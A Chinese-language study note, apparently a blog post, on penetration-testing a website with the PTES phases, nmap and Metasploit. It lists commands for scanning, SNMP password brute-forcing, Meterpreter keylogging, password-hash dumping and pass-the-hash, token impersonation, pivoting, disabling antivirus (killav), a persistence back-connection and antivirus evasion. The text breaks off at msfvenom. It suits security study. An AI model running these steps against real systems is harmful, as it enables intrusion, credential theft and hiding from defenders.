怎么渗透测试一个网站?

0、导读

本文参考《web攻防》和《metasploit渗透测试指南》更新中...

        渗透测试的过程并非简单运用一些扫描器和自动化工具,然后根据结果写一份安全报告。

        渗透测试完整的技术指南:

                    http://www.pentest-standard.org/index.php/Main_Page

        总体分为七个阶段,并在每个阶段中定义不同的扩展级别。

                1)前期交互阶段:让客户了解渗透测试将涉及哪些目标。

                2)情报收集阶段

                3)威胁建模阶段

                4)漏洞分析阶段

                5)渗透攻击阶段

                6)后渗透攻击阶段

                7)报告阶段

扫描器总结:OWASP Zed,IBM APPscanner,beStrom...

 一、情报收集

        网页中搜索信息、Google Hacking、为目标网络拓扑进行完整的扫描映射。在整个渗透测试过程中,你必须尽可能详细地对渗透测试工程的细节进行记录。

1.1 被动信息收集 (网络边界、运维人员、操作系统、服务器软件的类型)

    使用被动和间接的信息收集技巧,可以在不接触到目标系统的情况下挖掘目标信息。

    ----whois、Netcraft(查找某个特定网站的服务器IP地址)、nslookup(邮件服务器的DNS记录等)、Google Hacking(site:test.net admin)

1.2 主动信息收集(端口、服务、存活的主机、运行的服务)

    与系统直接的交互,进行更深入的了解。

    1.2.1 nmap (-iL iptest.txt > res.txt) ;导入metasploit数据库中,PostgreSQL:

            1)msf> db_connect postgres:[email protected]/msf  

            2)nmap -Pn-sS -A -oX Subnet1.xml ip/ip_mask

            3)msf>db_import /home/output/Subnet1.xml

    1.2.2 TCP空闲扫描 (冒充网络上另一台主机的IP地址)scanner/ip/ipidseq auxiliary模块

            1)msf>use auxiliary/scanner/ip/ipidseq

            2)配置RHOSTS、THREADS参数

            3)msf auxiliary(ipidseq) > nmap -PN -sI ip ip(-sI 选定指定ip)

    1.2.3 在MSF终端中运行namp (推荐)

            1)msf> db_connect postgres:[email protected]/msf  

            2)db_dump -sS -A ip

            3)msf> services -u (查看数据库中的扫描结果)

    1.2.4 跳板攻击+postscan(metaspliot内建扫描器)

            1) msf>search portscan 

            2)msf> use auxiliary/sacnner/postscan/syn

1.3 针对性扫描

      1.3.1 服务器消息块协议扫描(445)

               msf>use auxiliary/scanner/smb/smb_version 遍历一个网络并获得系统版本号

      1.3.2 搜索配置不当的Microsoft SQL Server(TCP 1433端口或UDP1434端口查询)

                msf auxiliary(smb_version) > use auxiliary/scanner/mssql/mssqlping

       1.3.3 SSH服务器扫描(22)

               不要以为你永远不会遇到一台没有安装补丁程序的老机器,这种幸运的是很有可能落到你头上。    

                msf auxiliary > use auxiliary/scanner/ssh/ssh_version

    1.3.4 FTP扫描(21)

                msf auxiliary > use auxiliary/scanner/ftp/ftp_version

                msf auxiliary > use auxiliary/scanner/ftp/anonymous

    1.3.5 简单网管协议扫描(SNMP)

                用来报告带宽利用率、冲突率以及其他信息。一些操作系统也包含(CPU利用率、空闲内存)利用matasploit框架的scanner/snmp/snmp_login模块,可以尝试对一个ip或一段ip使用字典来拆解SNMP团体字符串。

                也可通过nmap自带的审计脚本对snmp安全审计

                弱口令检测:nmap –sU –p161 –script=snmp-brute ip //查找snmp弱口令

1.4 编写自己的扫描器

                https://www.fujieace.com/metasploit/writing-scanner.html

                编写一个快速定位目标系统上的每一个若口令或者未打补丁的服务。

                >它提供对所有漏洞类和方法的访问

                >为代理,SSL和报告提供支持

                >内置线程和范围扫描

                >易于编写和快速运行

                metasploit框架软件的扫描器模块包含各种mixin(混入类)。用于TCP、SMB的渗透攻击mixin。面向对象编程的概念(Rudy)                

二、漏洞扫描

        漏洞扫描器是一种能够自动在计算机、信息系统、网络以及应用软件中寻找和发现安全弱点的程序。他通过网络对目标系统进行探测,向目标系统发送数据,并将反馈数据与自带的漏洞特征库进行匹配,进而列举出目标系统的安全漏洞。

        Nexpose;将漏洞报告导入metasploit数据库;

        Nessus;将扫描结果导入到netasploit框架中;

                1)msf > db_import /root/Downloads/Host_239_envfme.nessus

                2)msf > hosts -c address,svcs,vulns

                3)msf > vulns

        专用漏洞扫描器:(动静很大)

                1)SMB登录扫描器(445)

                2)扫描开放的VNC空口令(5900)

                3)open_x11服务器(6000)等

        用扫描结果进行自动化攻击

三、渗透攻击基础

            MSF终端(msfconsole)、MSF编码器(msfencode)、以及MSF攻击载荷生成器(msfpayload)。

            auxiliary(扫描、拒绝服务攻击工具、Fuzz测试器)

            use、search、show payload、set payload、show targets、info

            全端口攻击载荷:暴力破解开发端口

            资源文件:命令列表(autoexploit.rc)

四、Meterpreter后渗透攻击    

            Meterpreter是Metasploit的一个扩展模块,对目标系统进行跟深入的渗透,包括反追踪、纯内纯工作模式、密码hash值获取、权限提升、跳板攻击等等。                           

           基本命令: 截屏  screenshot 、sysinfo

            获取键盘记录:进程迁移:ps、migrate 进程号。 

            meterpreter > run post/windows/capture/key_recorder                

        4.1 挖掘用户名和密码

                   1)提取密码hash值

                    meterpreter > priv

                    meterpreter > run post/windows/gather/hashdump

                   2)传递hash值

                    smb/psexecmo模块;设置好LHOST,LPORT、RHOST;将SMBPass变为获得的密码hash值

        4.2 权限提升 ????第8章

        4.3 令牌假冒 

                     ps;use incognito;list_token -u;???

        4.4 通过跳板攻击其他机器(Pivoting)

                    1)meterpreter > run getlocal_subnets 展示受控系统的子网

                    2)在MSF终端添加路由命令

                    3)scanner/postscan/tcp 对目标子网大范围的端口扫描

        4.5   Meterpreter脚本

                    迁移进程(migrate);关闭杀毒软件(killav);获取系统密码hash值(hashdump);查看目标流量(packetrecorder -i 生成.pcap文件);获得系统信息(Scraper);

                       控制持久化(persistence 例:meterpreter > run persistence -X -i 50 -p 443 -r ip)开机自启动-X,-i 50 50重连一次;             

       5、免杀技术

           大多数杀毒软件使用(signatures)来识别恶意代码。这些特征码装载在杀毒引擎中,用来对磁盘和进程进行扫描。并寻找匹配对象后,杀毒软件会有相应的处理流程:大多数会将感染病毒的二进制文件隔离,或者杀掉正在运行的进程。

        1)针对受到杀毒软件保护的目标创建一个独一无二的攻击载荷;

        2)攻击载荷运行在内存中,不将任何数据写入到硬盘上。

      5.1 MSF攻击载荷生成器msfvenom

        


你可能感兴趣的:(怎么渗透测试一个网站?)